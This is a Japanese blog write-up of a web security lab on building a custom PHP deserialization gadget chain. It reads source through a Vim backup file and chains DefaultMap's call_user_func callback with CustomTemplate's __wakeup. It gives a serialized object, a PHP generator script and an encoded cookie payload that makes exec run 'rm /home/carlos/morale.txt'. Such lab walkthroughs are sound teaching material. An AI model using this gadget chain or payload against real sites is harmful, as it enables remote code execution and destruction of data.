Shikata Ga Nai

Private? There is no such things.

Developing a custom gadget chain for PHP deserializationをやってみた

Hello there, ('ω')ノ

 

PHPデシリアライズ用のカスタムガジェットチェーンの開発を。

 

このラボでは、シリアル化ベースのセッションメカニズムを使用して。

カスタムガジェットチェーンをデプロイすることで。

安全でない逆シリアル化で、リモートでコードが実行される可能性があって。

 

まずは、ログインして。

 

f:id:ThisIsOne:20210429113723p:plain

 

f:id:ThisIsOne:20210429113741p:plain

 

Cookieをデコードへ。

 

f:id:ThisIsOne:20210429113950p:plain

 

Base64でデコードするとCookieにシリアル化されたPHPオブジェクトが含まれていて。

 

f:id:ThisIsOne:20210429151014p:plain

 

また、Webサイトには下記のファイルが確認できて、リピータへ。

 /cgi-bin/libs/CustomTemplate.php

 

f:id:ThisIsOne:20210429114129p:plain

 

下記をSendするとソースコードを読むことができて。

これは、Vimプログラミングがデフォルトで使用されるためで。

ファイルが変更されると。

システムは~を含むバックアップファイルを自動的に生成して。

 GET /cgi-bin/libs/CustomTemplate.php~

 

まずは、DefaultMapクラスから。

コールバック関数が含まれているので。

システムコマンドを実行できる関数を作成して。

パラメータとしてDefaultMapに渡すことを考えて。

 

シリアル化されたオブジェクトを作成して実行するトリガを考えてみると。

DefaultMapクラスの_get()メソッドは。

このオブジェクトに存在しない属性を読み取ろうとすると呼び出されるわけで。

このメソッドは、call_user_func()を呼び出して。

DefaultMap->callback属性を介して渡された関数を実行して。

関数は、要求された存在しない属性である$nameに対して実行されて。

 

class DefaultMap {
 private $callback;

 public function __construct($callback) {
  $this->callback = $callback;
 }

 public function __get($name) {
  return call_user_func($this->callback, $name);
 }
}

 

Productクラスでは、$descは制御可能で。

CustomTemplateクラスで1回呼び出されて。

 

class Product {
 public $desc;

 public function __construct($default_desc_type, $desc) {
  $this->desc = $desc->$default_desc_type;
 }
}

 

CustomTemplateには下記の2つのメソッドがあって。

CustomTemplateオブジェクトを作成するときに。

default_desc_typedescを制御できて。

 

public function __wakeup() {
 $this->build_product();
}


//Create a Product object
private function build_product() {
 $this->product = new Product($this->default_desc_type, $this->desc);
}

 

 

f:id:ThisIsOne:20210429115335p:plain

 

ガジェットチェーンを利用して、下記にCustomTemplateオブジェクトを渡せば。


 CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
 CustomTemplate->desc = DefaultMap;
 DefaultMap->callback = "exec"

 

下記をを呼び出すことができるので。

 exec(rm /home/carlos/morale.txt)

 

下記をBase64とURLエンコードでシリアル化されたオブジェクトを作成して。

 

O:14:"CustomTemplate":2:{

 s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";

 s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}

 

要するに以下のようなプログラムなわけで。

CustomTemplateオブジェクトを作成して。

$default_desc_typeや$descに値を割り当てて。

 

<?php
 class CustomTemplate{}
 class DefaultMap{}
 $test1 = new CustomTemplate;
 $test2 = new DefaultMap;

 $test2->callback = "exec";

 $test1->default_desc_type ="rm /home/carlos/morale.txt";
 $test1->desc = $test2;
 echo(serialize($test1))
?>

 

f:id:ThisIsOne:20210429114534p:plain

 

はじめのページをリピータへ。

 

f:id:ThisIsOne:20210429114641p:plain

 

下記のシリアル化したオブジェクトと置き換えてSendすると。

 

%54%7a%6f%78%4e%44%6f%69%51%33%56%7a%64%47%39%74%56%47%56%74%63%47%78%68%64%47%55%69%4f%6a%49%36%65%33%4d%36%4d%54%63%36%49%6d%52%6c%5a%6d%46%31%62%48%52%66%5a%47%56%7a%59%31%39%30%65%58%42%6c%49%6a%74%7a%4f%6a%49%32%4f%69%4a%79%62%53%41%76%61%47%39%74%5a%53%39%6a%59%58%4a%73%62%33%4d%76%62%57%39%79%59%57%78%6c%4c%6e%52%34%64%43%49%37%63%7a%6f%30%4f%69%4a%6b%5a%58%4e%6a%49%6a%74%50%4f%6a%45%77%4f%69%4a%45%5a%57%5a%68%64%57%78%30%54%57%46%77%49%6a%6f%78%4f%6e%74%7a%4f%6a%67%36%49%6d%4e%68%62%47%78%69%59%57%4e%72%49%6a%74%7a%4f%6a%51%36%49%6d%56%34%5a%57%4d%69%4f%33%31%39

 

f:id:ThisIsOne:20210429150056p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210429114715p:plain

 

Best regards, (^^ゞ